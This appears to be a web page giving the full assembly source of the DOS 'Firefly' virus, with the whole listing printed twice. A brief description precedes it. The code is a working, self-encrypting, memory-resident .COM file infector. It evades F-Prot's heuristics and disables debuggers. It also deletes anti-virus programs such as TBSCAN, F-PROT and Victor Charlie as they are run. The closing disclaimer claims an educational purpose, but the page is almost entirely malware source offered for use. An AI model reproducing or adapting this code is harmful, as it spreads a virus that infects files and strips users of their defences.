The FIREFLY -A Smart VIRUS
FIREFLY - More than A Smart Virus
.COM files on load. It incorporates code from Proto-T,
LokJaw and YB-X viruses and, when in memory, attacks a large election of anti-virus programs as they are executed. Anti-virus programs identified by Firefly's execute/load handler are deleted.
Firefly incorporates simple code from previous issues of the newsletter signed to de-install generic VSAFE resident virus activity
filters designed for Microsoft by Central Point Software.
It contains instructions - specifically a segment of pseudo-nested
loops - which spoof F-Protect's expert system generic virus
identification feature.
FIREFLY also includes a visual marker tied to the system timer
tick interrupt (1Ch) which slowly cycles the NumLock, CapsLock
and ScrollLock LEDs on the keyboard. This produces a noticeable
twinkling effect when the virus is active on a machine.
Anti-Antivirus measures used by Firefly vary in effectiveness
dependent upon how a user employs software. For example, while
Firefly is designed to delete the Victor Charlie anti-virus
shell, VC.EXE, a user who employs the software packages utilities
for generic virus detection singly, will not be interfered with
by the virus. Your results may vary, but the virus does effectively
delete anti-virus programs while in memory unless steps are taken
beforehand to avoid this.
Firefly incorporates minor code armoring techniques designed to thwart
trivial debugging.
Note:
If you are reading this article, but not interested in reading the code below, please dont stop here.
Continue reading the GREEN part below. Even if you can't understand the script, the GREEN area explains it.
.radix 16
code segment
model small
assume cs:code, ds:code, es:code
org 100h
len equ offset last - start
vir_len equ len / 16d ; 16 bytes per paragraph
encryptlength equ (last - begin)/4+1
start:
mov bx, offset begin ; The Encryption Head
mov cx, encryptlength ;
encryption_loop: ;
db 81h ; XOR WORD PTR [BX], ????h
db 37h ;
encryption_value_1: ;
dw 0000h ;
;
db 81h ; XOR WORD PTR [BX+2], ????h
db 77h ;
db 02h ; 2 different random words
encryption_value_2: ; give 32-bit encryption
dw 0000h ;
add bx, 4 ;
loop encryption_loop ;
begin:
jmp virus
db '[Firefly]$'
db 'Greetings to Codeknock$'
virus:
call bp_fixup ; bp fixup to determine
bp_fixup: ; locations of data
pop bp ; with respect to the new
sub bp, offset bp_fixup ; host
Is_I_runnin:
call screw_fprot ; screwing
call screw_fprot ; heuristic scanning
call screw_fprot ;
call screw_fprot ;
call screw_fprot ;
call screw_fprot ;
call screw_fprot ;
call screw_fprot ;
call screw_fprot ;
call screw_fprot ;
push ds
push es
mov ax,2C2Ch ;
int 21h ; call to see if runnin
cmp ax, 0FFFh ; am i resident?
jne cut_hole ;
fix_victim:
pop es ; replace victims 3 bytes
pop ds ;
mov di,050h ; stops one of SCAN's
add di,0B0h ; generic scan attempts
lea si, ds:[vict_head + bp] ; (scan only worked on
mov cx, 03h ; unencrypted copies
rep movsb ; regardless)
Bye_Bye:
mov bx, 100h ; jump to 100h
jmp bx ; (start of victim)
cut_hole:
mov dx, 5945h ; pull CPAV (MSAV)
mov ax, 64001d ; out of memory
int 16h ; (This also screws with
; TBCLEAN ???????)
call screw_fprot ; more screwing of
call screw_fprot ; heuristic scanning
call screw_fprot ;
call screw_fprot ;
call screw_fprot ;
call screw_fprot ;
mov bx,cs ; reduce memory size
dec bx ;
mov ds,bx ;
cmp byte ptr ds:[0000],5a ;
jne fix_victim ;
mov bx,ds:[0003] ;
sub bx, 100h ; # of 16byte paragraphs
mov ds:0003,bx ; to grab (4k)
Zopy_me:
xchg bx, ax ; copy self to the new
mov bx, es ; 'unused' part of memory
add bx, ax ;
mov es, bx ;
mov cx,len ;
mov ax,ds ;
inc ax ;
mov ds,ax ;
lea si,ds:[offset start+bp] ;
lea di,es:0100 ;
rep movsb ;
Hookroutines: ; interrupt manipulation (Happy!, Happy!)
xor ax, ax ; (Joy!, Joy!)
mov ds, ax
push ds ; push 0000h
lds ax, ds:[1Ch*4]
mov word ptr es:old_1Ch, ax ; save 1C
mov word ptr es:old_1Ch+2, ds
pop ds
push ds
lds ax, ds:[21h*4] ; get int 21h (defined here)
mov word ptr es:old_21h, ax ; save 21
mov word ptr es:old_21h+2, ds
mov bx, ds ; bx = ds
pop ds
mov word ptr ds:[1h*4], ax ; put int 21h into 1 and 3
mov word ptr ds:[1h*4+2], bx ; this should screw
mov word ptr ds:[3h*4], ax ; most debuggers
mov word ptr ds:[3h*4+2], bx
mov word ptr ds:[21h*4], offset Firefly ; put self in 21
mov ds:[21h*4+2], es ;
mov ds:[1Ch*4+2], es
mov word ptr ds:[1Ch*4], offset Lights ; hook 1C
jmp fix_victim
Lights: ; keyboard lights changer...
; found in CODEKNOCK_FLY.ZIP
push ax ; save these
push bx ;
push cx ;
push dx ;
push si ;
push di ;
push ds ;
push es ;
push cs
pop ds
push cs
pop es
cmp [click], 63d ; after 63 clicks
je one
cmp [click], 126d ; after 126 clicks
je two
cmp [click], 189d ; after 189 clicks
je three
cmp [click], 0ffh ; have we counted to 255?
je clear
inc [click] ; increase click count
jmp endme
clear: mov [click], 00h ; clear click count
mov ax, 40h
mov ds, ax
mov bx, 17h ; ds:bx = location o' flags
and byte ptr [bx],0 ; clear keyboard flag(s)
jmp endme
one: inc [click]
mov ax, 40h
mov ds, ax
mov bx, 17h
mov byte ptr [bx],20h ; set numlock flag
jmp endme
two: inc [click]
mov ax, 40h
mov ds, ax
mov bx, 17h
mov byte ptr [bx],40h ; set caps lock flag
jmp endme
three: inc [click]
mov ax, 40h
mov ds, ax
mov bx, 17h
mov byte ptr [bx],10h ; set scroll lock flag
endme:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[old_1Ch] ; Go to old int 1Ch
db 'Psalm 69'
screw_fprot:
jmp $ + 2 ; Nested calls to confuse
call screw2 ; f-protect's heuristic
call screw2 ; analysis
call screw2 ;
call screw2 ;
call screw2 ;
ret ;
screw2: ;
jmp $ + 2 ;
call screw3 ;
call screw3 ;
call screw3 ;
call screw3 ;
call screw3 ;
ret ;
screw3: ;
jmp $ + 2 ;
call screw4 ;
call screw4 ;
call screw4 ;
call screw4 ;
call screw4 ;
ret ;
screw4: ;
jmp $ + 2 ;
ret ;
db 'Every day is Halloween'
Firefly:
pushf ; Am I checking if
cmp ax,2c2ch ; I am resident?
jne My_21h ;
mov ax,0FFFh ; If so, return
popf ; 0FFFh in AX
iret ;
My_21h:
push ax ; save these
push bx ;
push cx ;
push dx ;
push si ;
push di ;
push ds ;
push es ;
check_for_proper_calls:
cmp ah, 4Bh ; executed?
je chk_com
cmp ah, 3Dh ; open?
je chk_com
cmp ah, 43h ; attribs?
je chk_com
cmp ah, 6Ch ; extended open?
je extended
notforme:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp dword ptr cs:[old_21h] ; The End
db 'Happiness in Slavery'
extended:
mov dx, si ; now a normal open
chk_com:
mov word ptr cs:victim_name,dx
mov word ptr cs:victim_name+2,ds
cld
mov di,dx
push ds
pop es
mov al,'.' ; find the period
repne scasb ;
call avtest
cmp ax, 00ffh ; WAS the program an AV?
je notforme
cmp word ptr es:[di],'OC' ; Am I a .(CO)M?
jne notforme
Grab_24: ; hook interrupt 24
push ds ; by direct writes to
push dx ; interrupt vector
xor ax, ax ; table
mov ds, ax ;
mov dx, offset new_24h ;
mov word ptr ds:[24h*4], dx ;
mov word ptr ds:[24h*4+2], es ;
pop dx
pop ds
open_victim:
push cs
pop es
lds dx, cs:victim_name ; get and save attributes
mov ax, 4300h ;
int 3h ;
jc notforme ; error handler
push cx ;
push ds ;
push dx
mov ax, 4301h ; clear attribs
xor cx, cx ;
int 1h ;
jc notforme
mov ax,3D02h ; open victim
lds dx, cs:victim_name ;
int 3h ;
jc notforme ; error handler
push cs ;
pop ds ;
xchg ax, bx ; put handle in proper place
get_date: ; get and save date
; and time
mov ax,5700h
int 3h
push cx ; save time
push dx ; save date
check_forme:
mov ah,3fh ; read 1st 3 bytes
mov cx,03h ;
mov dx,offset vict_head ;
int 1h
mov ax, 4202h ; point to end
xor cx, cx ;
xor dx, dx ;
int 3h ;
mov cx, word ptr [vict_head+1] ; possible jump location
add cx, last-start+3 ;
cmp ax, cx ; already infected?
jz save_date ;
push ax
get_random:
mov ah, 2Ch ; dx and (cx-dx)
int 3h ; will be to two
or dx, dx ; encryption values
jz get_random ;
write_virus:
mov word ptr [offset encryption_value_1], dx
mov word ptr [offset e_value_1], dx
sub cx, dx
mov word ptr [offset encryption_value_2], cx
mov word ptr [offset e_value_2], cx
pop ax
mov si, ax ; fix BX offset in head
add si, ((offset begin-offset start)+100h)
mov word ptr [offset start+1], si
mov si, offset start ; copy virus to buffer
mov di, offset encryptbuffer ;
mov cx, last-start ;
rep movsb ;
sub ax, 03h ; construct jump
mov word ptr [offset new_jump+1], ax ;
mov dl, 0E9h ;
mov byte ptr [offset new_jump], dl ;
Encryptvirus_in_buffer:
push bx ; encrypt copy
mov bx, offset ((begin-start)+encryptbuffer) ; in encrypt-
mov cx, encryptlength ; buffer
e_loop: ;
db 81h ; XOR [bx]
db 37h ;
e_value_1: ;
dw 0000h ; scrambler #1
db 81h ; XOR [bx+2]
db 77h ;
db 02h ;
e_value_2: ;
dw 0000h ; scrambler #2
add bx, 4 ;
loop e_loop ; loop
pop bx
mov ah, 40h ; write virus
mov cx, last-start ;
mov dx, offset encryptbuffer ;
int 1h ;
mov ax, 4200h ; point to front
xor cx, cx ;
xor dx, dx ;
int 1h ;
mov ah, 40h ; write jump
mov dx, offset new_jump ;
mov cx, 03h ;
int 3h ;
save_date:
pop dx ; Date
pop cx ; Time
mov ax,5701h ;
int 1h
;
close_file: ;
mov ah,03Eh ; Close file and restore
int 3h ; attribs
mov ax, 4301h ;
pop dx ;
pop ds ; This is the end...
pop cx ; My only friend, The End.
int 3h ; - Kandy!
jmp notforme ;
new_24h:
mov al,3 ; Critical Error (Mis)handler
iret ;
db 'The land of Rape and Honey'
; This area is the "intelligence" of Firefly
; It looks for known AV names which it then deletes.
; So it sort of shuts down the computers "immune system"
avtest:
cmp word ptr es:[di-3],'MI' ;Integrity Master
je AV ;*IM
cmp word ptr es:[di-3],'XR' ;*rx
je AV ;
cmp word ptr es:[di-3],'PO' ;*STOP
jne next1 ;(VIRSTOP)
cmp word ptr es:[di-5],'TS' ;
je AV ;
next1: cmp word ptr es:[di-3],'VA' ;*AV i.e. cpav
je AV_Detected ;(TBAV) (MSAV)
cmp word ptr es:[di-3],'TO' ;*prot f-prot
jne next2 ;
cmp word ptr es:[di-5],'RP' ;
jne next2 ;
AV: jmp AV_Detected ; must be equal
next2: cmp word ptr es:[di-3],'NA' ;*scan McAffee's
jne next3 ;(TBSCAN)
cmp word ptr es:[di-5],'CS' ;
je AV_Detected ;
cmp word ptr es:[di-3],'NA' ;*lean CLEAN..
jne next3 ; why not eh?
cmp word ptr es:[di-5],'EL' ;(TBCLEAN)
je AV_Detected ;
next3: cmp word ptr es:[di-3],'CV' ;
je AV_Detected ; default *VC
cmp word ptr es:[di-3],'KC' ; VCHECK
jne next4 ; (Victor Charlie)
cmp word ptr es:[di-5],'EH' ; (TBCHECK) *HECK
je AV_Detected ;
next4:
cmp word ptr es:[di-3],'ME' ; TBMEM
jne next5 ; *BMEM
cmp word ptr es:[di-5],'MB' ;
je AV_Detected ;
next5:
cmp word ptr es:[di-3],'XN' ; TBSCANX
jne next6 ; *CANX
cmp word ptr es:[di-5],'AC' ;
je AV_Detected ;
next6:
cmp word ptr es:[di-3],'EL' ; TBFILE
jne next7 ; *FILE
cmp word ptr es:[di-5],'IF' ;
je AV_Detected ;
next7:
ret
AV_Detected:
mov ds, word ptr cs:[victim_name + 2] ; The Victim
mov dx, word ptr cs:[victim_name]
mov ax, 4301h ; Clear it's attribs
mov cx, 00h ;
int 1h
mov ah, 41h ; Delete It.
int 3h ;
ret ;
db 'Its Dead Jim'
vict_head db 090h, 0cdh, 020h ; 3 bytes of storage
old_21h dw 00h,00h ; int 21 storage
old_1Ch dw 00h,00h
click db 00h
last:
; The heap........ junk not needed in main program
victim_name dd ?
new_jump db 090h, 090h, 090h
encryptbuffer db (last-start)+1 dup (?)
code ends
end start
Disclaimer:
We The BUDDIES are no way responsible for any misuse of the Information provided and They should be used only for education purposes
.radix 16
code segment
model small
assume cs:code, ds:code, es:code
org 100h
len equ offset last - start
vir_len equ len / 16d ; 16 bytes per paragraph
encryptlength equ (last - begin)/4+1
start:
mov bx, offset begin ; The Encryption Head
mov cx, encryptlength ;
encryption_loop: ;
db 81h ; XOR WORD PTR [BX], ????h
db 37h ;
encryption_value_1: ;
dw 0000h ;
;
db 81h ; XOR WORD PTR [BX+2], ????h
db 77h ;
db 02h ; 2 different random words
encryption_value_2: ; give 32-bit encryption
dw 0000h ;
add bx, 4 ;
loop encryption_loop ;
begin:
jmp virus
db '[Firefly]$'
db 'Greetings to Codeknock$'
virus:
call bp_fixup ; bp fixup to determine
bp_fixup: ; locations of data
pop bp ; with respect to the new
sub bp, offset bp_fixup ; host
Is_I_runnin:
call screw_fprot ; screwing
call screw_fprot ; heuristic scanning
call screw_fprot ;
call screw_fprot ;
call screw_fprot ;
call screw_fprot ;
call screw_fprot ;
call screw_fprot ;
call screw_fprot ;
call screw_fprot ;
push ds
push es
mov ax,2C2Ch ;
int 21h ; call to see if runnin
cmp ax, 0FFFh ; am i resident?
jne cut_hole ;
fix_victim:
pop es ; replace victims 3 bytes
pop ds ;
mov di,050h ; stops one of SCAN's
add di,0B0h ; generic scan attempts
lea si, ds:[vict_head + bp] ; (scan only worked on
mov cx, 03h ; unencrypted copies
rep movsb ; regardless)
Bye_Bye:
mov bx, 100h ; jump to 100h
jmp bx ; (start of victim)
cut_hole:
mov dx, 5945h ; pull CPAV (MSAV)
mov ax, 64001d ; out of memory
int 16h ; (This also screws with
; TBCLEAN ???????)
call screw_fprot ; more screwing of
call screw_fprot ; heuristic scanning
call screw_fprot ;
call screw_fprot ;
call screw_fprot ;
call screw_fprot ;
mov bx,cs ; reduce memory size
dec bx ;
mov ds,bx ;
cmp byte ptr ds:[0000],5a ;
jne fix_victim ;
mov bx,ds:[0003] ;
sub bx, 100h ; # of 16byte paragraphs
mov ds:0003,bx ; to grab (4k)
Zopy_me:
xchg bx, ax ; copy self to the new
mov bx, es ; 'unused' part of memory
add bx, ax ;
mov es, bx ;
mov cx,len ;
mov ax,ds ;
inc ax ;
mov ds,ax ;
lea si,ds:[offset start+bp] ;
lea di,es:0100 ;
rep movsb ;
Hookroutines: ; interrupt manipulation (Happy!, Happy!)
xor ax, ax ; (Joy!, Joy!)
mov ds, ax
push ds ; push 0000h
lds ax, ds:[1Ch*4]
mov word ptr es:old_1Ch, ax ; save 1C
mov word ptr es:old_1Ch+2, ds
pop ds
push ds
lds ax, ds:[21h*4] ; get int 21h (defined here)
mov word ptr es:old_21h, ax ; save 21
mov word ptr es:old_21h+2, ds
mov bx, ds ; bx = ds
pop ds
mov word ptr ds:[1h*4], ax ; put int 21h into 1 and 3
mov word ptr ds:[1h*4+2], bx ; this should screw
mov word ptr ds:[3h*4], ax ; most debuggers
mov word ptr ds:[3h*4+2], bx
mov word ptr ds:[21h*4], offset Firefly ; put self in 21
mov ds:[21h*4+2], es ;
mov ds:[1Ch*4+2], es
mov word ptr ds:[1Ch*4], offset Lights ; hook 1C
jmp fix_victim
Lights: ; keyboard lights changer...
; found in CODEKNOCK_FLY.ZIP
push ax ; save these
push bx ;
push cx ;
push dx ;
push si ;
push di ;
push ds ;
push es ;
push cs
pop ds
push cs
pop es
cmp [click], 63d ; after 63 clicks
je one
cmp [click], 126d ; after 126 clicks
je two
cmp [click], 189d ; after 189 clicks
je three
cmp [click], 0ffh ; have we counted to 255?
je clear
inc [click] ; increase click count
jmp endme
clear: mov [click], 00h ; clear click count
mov ax, 40h
mov ds, ax
mov bx, 17h ; ds:bx = location o' flags
and byte ptr [bx],0 ; clear keyboard flag(s)
jmp endme
one: inc [click]
mov ax, 40h
mov ds, ax
mov bx, 17h
mov byte ptr [bx],20h ; set numlock flag
jmp endme
two: inc [click]
mov ax, 40h
mov ds, ax
mov bx, 17h
mov byte ptr [bx],40h ; set caps lock flag
jmp endme
three: inc [click]
mov ax, 40h
mov ds, ax
mov bx, 17h
mov byte ptr [bx],10h ; set scroll lock flag
endme:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[old_1Ch] ; Go to old int 1Ch
db 'Psalm 69'
screw_fprot:
jmp $ + 2 ; Nested calls to confuse
call screw2 ; f-protect's heuristic
call screw2 ; analysis
call screw2 ;
call screw2 ;
call screw2 ;
ret ;
screw2: ;
jmp $ + 2 ;
call screw3 ;
call screw3 ;
call screw3 ;
call screw3 ;
call screw3 ;
ret ;
screw3: ;
jmp $ + 2 ;
call screw4 ;
call screw4 ;
call screw4 ;
call screw4 ;
call screw4 ;
ret ;
screw4: ;
jmp $ + 2 ;
ret ;
db 'Every day is Halloween'
Firefly:
pushf ; Am I checking if
cmp ax,2c2ch ; I am resident?
jne My_21h ;
mov ax,0FFFh ; If so, return
popf ; 0FFFh in AX
iret ;
My_21h:
push ax ; save these
push bx ;
push cx ;
push dx ;
push si ;
push di ;
push ds ;
push es ;
check_for_proper_calls:
cmp ah, 4Bh ; executed?
je chk_com
cmp ah, 3Dh ; open?
je chk_com
cmp ah, 43h ; attribs?
je chk_com
cmp ah, 6Ch ; extended open?
je extended
notforme:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp dword ptr cs:[old_21h] ; The End
db 'Happiness in Slavery'
extended:
mov dx, si ; now a normal open
chk_com:
mov word ptr cs:victim_name,dx
mov word ptr cs:victim_name+2,ds
cld
mov di,dx
push ds
pop es
mov al,'.' ; find the period
repne scasb ;
call avtest
cmp ax, 00ffh ; WAS the program an AV?
je notforme
cmp word ptr es:[di],'OC' ; Am I a .(CO)M?
jne notforme
Grab_24: ; hook interrupt 24
push ds ; by direct writes to
push dx ; interrupt vector
xor ax, ax ; table
mov ds, ax ;
mov dx, offset new_24h ;
mov word ptr ds:[24h*4], dx ;
mov word ptr ds:[24h*4+2], es ;
pop dx
pop ds
open_victim:
push cs
pop es
lds dx, cs:victim_name ; get and save attributes
mov ax, 4300h ;
int 3h ;
jc notforme ; error handler
push cx ;
push ds ;
push dx
mov ax, 4301h ; clear attribs
xor cx, cx ;
int 1h ;
jc notforme
mov ax,3D02h ; open victim
lds dx, cs:victim_name ;
int 3h ;
jc notforme ; error handler
push cs ;
pop ds ;
xchg ax, bx ; put handle in proper place
get_date: ; get and save date
; and time
mov ax,5700h
int 3h
push cx ; save time
push dx ; save date
check_forme:
mov ah,3fh ; read 1st 3 bytes
mov cx,03h ;
mov dx,offset vict_head ;
int 1h
mov ax, 4202h ; point to end
xor cx, cx ;
xor dx, dx ;
int 3h ;
mov cx, word ptr [vict_head+1] ; possible jump location
add cx, last-start+3 ;
cmp ax, cx ; already infected?
jz save_date ;
push ax
get_random:
mov ah, 2Ch ; dx and (cx-dx)
int 3h ; will be to two
or dx, dx ; encryption values
jz get_random ;
write_virus:
mov word ptr [offset encryption_value_1], dx
mov word ptr [offset e_value_1], dx
sub cx, dx
mov word ptr [offset encryption_value_2], cx
mov word ptr [offset e_value_2], cx
pop ax
mov si, ax ; fix BX offset in head
add si, ((offset begin-offset start)+100h)
mov word ptr [offset start+1], si
mov si, offset start ; copy virus to buffer
mov di, offset encryptbuffer ;
mov cx, last-start ;
rep movsb ;
sub ax, 03h ; construct jump
mov word ptr [offset new_jump+1], ax ;
mov dl, 0E9h ;
mov byte ptr [offset new_jump], dl ;
Encryptvirus_in_buffer:
push bx ; encrypt copy
mov bx, offset ((begin-start)+encryptbuffer) ; in encrypt-
mov cx, encryptlength ; buffer
e_loop: ;
db 81h ; XOR [bx]
db 37h ;
e_value_1: ;
dw 0000h ; scrambler #1
db 81h ; XOR [bx+2]
db 77h ;
db 02h ;
e_value_2: ;
dw 0000h ; scrambler #2
add bx, 4 ;
loop e_loop ; loop
pop bx
mov ah, 40h ; write virus
mov cx, last-start ;
mov dx, offset encryptbuffer ;
int 1h ;
mov ax, 4200h ; point to front
xor cx, cx ;
xor dx, dx ;
int 1h ;
mov ah, 40h ; write jump
mov dx, offset new_jump ;
mov cx, 03h ;
int 3h ;
save_date:
pop dx ; Date
pop cx ; Time
mov ax,5701h ;
int 1h
;
close_file: ;
mov ah,03Eh ; Close file and restore
int 3h ; attribs
mov ax, 4301h ;
pop dx ;
pop ds ; This is the end...
pop cx ; My only friend, The End.
int 3h ; - Kandy!
jmp notforme ;
new_24h:
mov al,3 ; Critical Error (Mis)handler
iret ;
db 'The land of Rape and Honey'
; This area is the "intelligence" of Firefly
; It looks for known AV names which it then deletes.
; So it sort of shuts down the computers "immune system"
avtest:
cmp word ptr es:[di-3],'MI' ;Integrity Master
je AV ;*IM
cmp word ptr es:[di-3],'XR' ;*rx
je AV ;
cmp word ptr es:[di-3],'PO' ;*STOP
jne next1 ;(VIRSTOP)
cmp word ptr es:[di-5],'TS' ;
je AV ;
next1: cmp word ptr es:[di-3],'VA' ;*AV i.e. cpav
je AV_Detected ;(TBAV) (MSAV)
cmp word ptr es:[di-3],'TO' ;*prot f-prot
jne next2 ;
cmp word ptr es:[di-5],'RP' ;
jne next2 ;
AV: jmp AV_Detected ; must be equal
next2: cmp word ptr es:[di-3],'NA' ;*scan McAffee's
jne next3 ;(TBSCAN)
cmp word ptr es:[di-5],'CS' ;
je AV_Detected ;
cmp word ptr es:[di-3],'NA' ;*lean CLEAN..
jne next3 ; why not eh?
cmp word ptr es:[di-5],'EL' ;(TBCLEAN)
je AV_Detected ;
next3: cmp word ptr es:[di-3],'CV' ;
je AV_Detected ; default *VC
cmp word ptr es:[di-3],'KC' ; VCHECK
jne next4 ; (Victor Charlie)
cmp word ptr es:[di-5],'EH' ; (TBCHECK) *HECK
je AV_Detected ;
next4:
cmp word ptr es:[di-3],'ME' ; TBMEM
jne next5 ; *BMEM
cmp word ptr es:[di-5],'MB' ;
je AV_Detected ;
next5:
cmp word ptr es:[di-3],'XN' ; TBSCANX
jne next6 ; *CANX
cmp word ptr es:[di-5],'AC' ;
je AV_Detected ;
next6:
cmp word ptr es:[di-3],'EL' ; TBFILE
jne next7 ; *FILE
cmp word ptr es:[di-5],'IF' ;
je AV_Detected ;
next7:
ret
AV_Detected:
mov ds, word ptr cs:[victim_name + 2] ; The Victim
mov dx, word ptr cs:[victim_name]
mov ax, 4301h ; Clear it's attribs
mov cx, 00h ;
int 1h
mov ah, 41h ; Delete It.
int 3h ;
ret ;
db 'Its Dead Jim'
vict_head db 090h, 0cdh, 020h ; 3 bytes of storage
old_21h dw 00h,00h ; int 21 storage
old_1Ch dw 00h,00h
click db 00h
last:
; The heap........ junk not needed in main program
victim_name dd ?
new_jump db 090h, 090h, 090h
encryptbuffer db (last-start)+1 dup (?)
code ends
end start
Disclaimer:
We The BUDDIES are no way responsible for any misuse of the Information provided and They should be used only for education purposes
Buddies has not provided any executable form of the code or Needed files.
If you feel anything uncomfortable, feel free to contact the Buddies.....
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